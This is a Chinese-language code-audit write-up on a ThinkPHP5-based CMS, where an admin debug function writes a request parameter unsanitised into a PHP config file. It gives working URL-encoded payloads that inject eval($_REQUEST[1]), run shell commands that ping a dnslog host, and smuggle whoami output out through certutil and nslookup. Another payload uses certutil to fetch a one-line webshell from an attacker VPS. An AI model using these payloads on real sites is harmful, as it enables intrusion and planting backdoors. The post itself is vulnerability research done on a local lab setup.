0x01 前言

闲来无事挖挖漏洞,发现一个经过了一些过滤的漏洞,踩了无数的坑,然后冥思苦想了许多方法,终于找到了一个点,使得可以进行命令执行与getshell。这里的漏洞点不值一提,但是因为绕过方法挺好玩的,故在这里分享一下思路,大佬勿喷~
思路不唯一,也希望有其他方法的话,大佬们可以不吝赐教,在评论区留下具体方法,谢谢大家~

0x02 代码审计环境

此次代码审计采用的是phpstudy一键式搭建。
phpstudy下载地址:Windows版phpstudy下载 - 小皮面板(phpstudy)

代码审计分析工具:nopad++,seay源代码分析工具

0x03 开始审计

话不多说,先看一下目录结构,很明显的tp5框架

在\thinkphp\base.php文件中也可以看到对应的tp版本号(5.0.24版本好像有个反序列化,其实也可以尝试一下)

虽然seay用现有的规则扫描扫出来的漏洞不太准确,但是帮忙定位危险函数还是可以的,所以我一般都会先进行自动审计。

接下来就是一个个漏洞分析了,都点进去看一看。
其实只需要看2点:
1.用户可以控制输入的内容
2.输入的内容被放到危险函数中进行了执行
(需要进行流程跟进的话还是推荐使用phpstorm工具的,我这里因为是在虚拟机中,就简单用了seay和nopad++代替)

0x04 漏洞点分析

1、具体我发现这个漏洞是在/app/admin/controller/api.php文件下的debug函数

public function debug(){$path = 'app/extra/debug.php';$file = include $path; $config = array('name' => input('id'),);$config = preg_replace("/[?><?]/", '', $config);$res = array_merge($file, $config);$str = '<?php return [';foreach ($res as $key => $value) {$str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';}$str .= ']; ';if (file_put_contents($path, $str)) {return json(array('code' => 1, 'msg' => '操作成功'));} else {return json(array('code' => 0, 'msg' => '操作失败'));}}

在代码第15行通过file_put_contents()函数将id传参的内容写入到app/extra/debug.php文件中。
2、可以看到上面进行了一些过滤,将<>和?替换为空

$config = preg_replace("/[?><?]/", '', $config);

3、这里直接将不太清晰,实战演示一下,首先访问后台路径,这里有个debug功能,就是上面debug函数的功能点。
http://127.0.0.1/index.php/admin/

4、具体使用时发现报错了,那就直接访问对应的函数,路由规则就是/index.php/目录-文件-函数.html?传参=。
这里我传参123进行测试
http://127.0.0.1/index.php/admin-api-debug.html?id=123

5、在debug.php文件中可以看到123是放到数组中的值处,而我们可以控制这里的值。

<?php return ['name'=>'123',];

6、下面讲解我进行绕过的思路以及遇到的坑。

0x05 绕过思路

第一次踩坑

1、首先,这里因为没有过滤单引号和中括号,所以我们可以手动闭合

payload:
http://127.0.0.1/index.php/admin-api-debug.html?id=123%27];phpinfo();//

这里可以看到数据是成功写入进文件中的

<?php return ['name'=>'123'];phpinfo();//',];

2、访问debug.php文件试试发现,页面并没有返回想要的内容

3、这里我想了好久,想着试试更换echo输出看看

<?php return ['name'=>'123'];echo '12344321';//',];

在页面中并没有输出

4、查阅资料之后理解了return后代码不再向下执行,此路不通
参考链接:博客园

第二次踩坑

1、既然不能通过分号结束代码后执行其他代码的话,我能不能在return中执行代码呢,此处进行了尝试

<?php return ['name'=>'123',eval($_REQUEST[1]);'',];

于是……页面报错了

2、再试试换行

http://127.0.0.1/index.php/admin-api-debug.html?id=123%27,%0aeval($_REQUEST[1]);%27

好的,还是不执行

第三次,渐渐好起来了

1、因为代码执行行不通,那我就想着试试命令执行看可不可以。先申请一个dnslog,链接:DNSLog Platform

2、使用.拼接反引号执行命令

http://127.0.0.1/index.php/admin-api-debug.html?id=123%27].`ping%20123.yh6nta.dnslog.cn`;//

查看文件情况

<?php return ['name'=>'123'].`ping 123.yh6nta.dnslog.cn`;//',];

访问看看,发现报错了,但是dnslog记录了数据,命令执行成功了

3、这里报错怀疑是使用了点进行拼接,两边的字符类型不匹配,因为命令执行可以使用符号进行连接,所以在这里将点替换成&。
因为&在url中还有其他含义,所以先进行url编码。

123']&`ping 123.yh6nta.dnslog.cn`;//
#url编码
123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F
http://127.0.0.1/index.php/admin-api-debug.html?id=123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F

查看文件情况

<?php return ['name'=>'123']&`ping 123.yh6nta.dnslog.cn`;//',];

访问debug.php文件,页面没有报错,而且dnslog成功回显

4、既然可以执行命令了,很明显这里是无回显的情况,那么怎么拿到shell呢
PHP无回显情况下的渗透测试可以参考此文章:
https://xz.aliyun.com/t/9916

Linux系统

这里不细说,只要命令没有<、>、?即可
1、nc反弹shell
2、配合其他组件,如redis等
3、等等~

Windows系统

1、第一次尝试

使用`ping `whoami`.yh6nta.dnslog.cn`,失败
使用`ping /`whoami/`.yh6nta.dnslog.cn`,失败
使用`ping %系统变量%.yh6nta.dnslog.cn`,失败

2、第二次尝试

使用系统命令外带数据,首先我在文件中直接修改,发现可以成功外带数据

<?php return ['name'=>'123']&`cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.yh6nta.dnslog.cn)&del temp`;//',];

后面发现,这条命令中含有一个>号,苦恼好久,暂时放弃。不过我觉得这个命令可以适当优化,然后就可以使用了。

3、第三次尝试,成功getshell

这里借鉴了XX师傅的建议,通过命令下载文件getshell

1、首先需要准备一个文件,内容为一句话木马,放到vps的web服务中。(当然起一个python的http服务也可以,主要是要可以访问获取。)

2、windows中可以使用certutil下载文件

#payload:
']&`certutil -urlcache -split -f http://vps地址:83/shell 1.php`;//
#url编码:
%27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps地址%3A83%2Fshell%201.php%60%3B%2F%2F
#通过id传参:
http://127.0.0.1/index.php/admin-api-debug.html?id=%27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps地址%3A83%2Fshell%201.php%60%3B%2F%2F

3、查看debug.php文件情况

4、访问debug.php后,会在当前目录生成1.php,内容为一句话木马

5、执行phpinfo函数

原来竟然如此简单?

1、因为前面命令执行可以使用符号进行连接,我想着在代码中也试试,看看能不能直接执行一句话木马(测试了|、||、&、&&,只有&和&&的时候可以执行)
同样先进行url编码

123']&&eval($_REQUEST[1]);//#url编码123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F
http://127.0.0.1/index.php/admin-api-debug.html?id=123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F

在文件中是这样的

<?php return ['name'=>'123']&&eval($_REQUEST[1]);//',];

尝试访问,成功执行代码

居然就这样就可以了……

0x06 总结

本次代码审计发现漏洞很快,但是利用起来整了我2天,还是在师傅们的帮助下完成的深入利用。忽然发现自己对于编程语言的基础还很不扎实,一些简单处理的地方居然思考了那么久,在之前发现漏洞的情况下,一般都是可以直接利用了,此次bypass的时候发现了很多不足。在以后的代码审计中,简单利用的漏洞只会越来越少,我还需要多深入学习代码知识,才能从一些过滤薄弱点出发,发现漏洞。嗯嗯,总结一句话,不论是学什么东西,基础很重要很重要!

文章初发布于先知社区:https://xz.aliyun.com/t/9990

某cms代码审计RCE艰难bypass(思路清奇)相关推荐

  1. idea不自动检查语法_IntelliJ IDEA推出一个思路清奇的语法检查插件

    开发中不仅会涉及编程语言,其中有许多内容是面向人类而不是编译器的,比如字符串文字.注释.Javadocs.commit 消息等,这些都是自然语言而不是编程语言,而不同的地区使用不同的语言来输入这些内容 ...

  2. 全民一起VBA实战篇 专题4 第五回 递归算法流程独特 大事化小思路清奇

    相关知识点: 区别于循环在于,把大问题转换成小问题,总结递进的推导公式:知道最小问题的答案(递归的停止条件). 例1 阶乘(循环语句) Sub demo() Msgbox 阶乘(4) End Sub ...

  3. 苹果cms V8仿4567tv模板高清影视 完整无错电影模板

    介绍: 苹果cms V8仿4567tv模板高清影视 完整无错电影模板 网盘下载地址: http://kekewl.net/7f01EVUVur50 图片:

  4. seacms_v6.4(海洋cms)前台RCE 分析

    seacms_v6.4(海洋cms)前台RCE 漏洞详情 ​ 海洋cms v6.4(6.45也存在) search.php存在RCE漏洞.$order参数没做严格的限制,就将其传入了模板文件中,然后使 ...

  5. 告诉你什么是挖洞最清奇的脑回路

    AirPlan Task1 And Task2 本文由prison翻译整理,原文地址:https://hshrzd.wordpress.com/201 - enge-tasks-1-and-2/ 黑客 ...

  6. 四款画风清奇的减压小工具,资深职场员工的推荐,还不快收藏

    作为一个职场人员经常听到身边的朋友向自己抱怨,自己的工作压力太大了,怎么办?确实在如今这个快节奏的生活里,每个人都会因为身上的压力过大而导致自己生活的不如意. 那么我们该如何的解压呢?小编今天就来和大 ...

  7. 一次代码审计实战案例【思路流程】

    前言: 利用这个 CMS 看看能不能挖到漏洞,运气还是不错的挖到了两个,分别是 SSRF 与文件覆盖 GETSHELL,下面给大家讲解一下这次审计的思路过程.该 CMS 版本是 4.2.以下漏洞均被 ...

  8. 网络安全审计之CMS代码审计

    0x00:环境说明 Windows 10 Phpstuby Php版本:7.2.9 CMS版本:MetInfo7.5.0 0x01:目录结构 |-- about |-- about1 |-- admi ...

  9. 国微高校 html源码,国微CMS模板制作的整体思路

    一.程序和模板分离 国微CMS的程序代码和模板基本是分离的,所以你只要按规则做好HTML相关页面,那么你的模板工作量基本就完成了90%: 当你对模板还在学习的过程中的时候,为了不浪费时间,您可以重点做 ...

最新文章

  1. 又双叒叕出事?微信 PC 版被曝扫描用户浏览器 cookies
  2. C++ string s[10] 和 string s(10,‘ ‘)
  3. Python数据结构:顺序查找
  4. ubuntu18的网关ip在哪里配_技术|如何在 Ubuntu 18.04 LTS 中配置 IP 地址
  5. MVC+LINQToSQL的Repository模式之(二)数据基类
  6. win7升级的神秘KEY
  7. C#——await与async实现多线程异步编程
  8. js类型转换的各种玩法
  9. python:类5——Python 的类的下划线命名有什么不同?
  10. iOS Swift JSON解析教程
  11. 迅歌点歌系统服务器过期或不信任怎么办,点歌机常见问题解析
  12. 代码里颜色设置表RGB+CMYK
  13. UVA 10673 扩展欧几里得
  14. vivo android框架服务,vivo服务安全插件
  15. JDBC+MySQL入门增删改查案例
  16. 证件照换底色的2个简单方法分享
  17. 控制结构(强化):12.阿迪玩游戏
  18. 高级外围总线 5.0(Advanced Peripheral Bus, APB)
  19. 计算两个向量的互信息(Mutual Information) matlab程序
  20. (3D)三维验证码识别

热门文章

  1. Mybatis自定义Handler实现Json数组转List对象
  2. Yetiarnold for maya一键安装部署(二)另附yetiarnold for maya command line render
  3. EXTJS中整合tinymce的富文本编辑器,添加上传图片功能
  4. C++使用Demo计算立方体
  5. Python3之cartopy+matplotlib绘图
  6. KEIL软件调节字体大小教程
  7. Linux VIM编辑二进制文件
  8. [号外]深圳各大运动品牌折扣店大集合!!!
  9. easyui_layout折叠
  10. docker05(docker仓库创建和管理)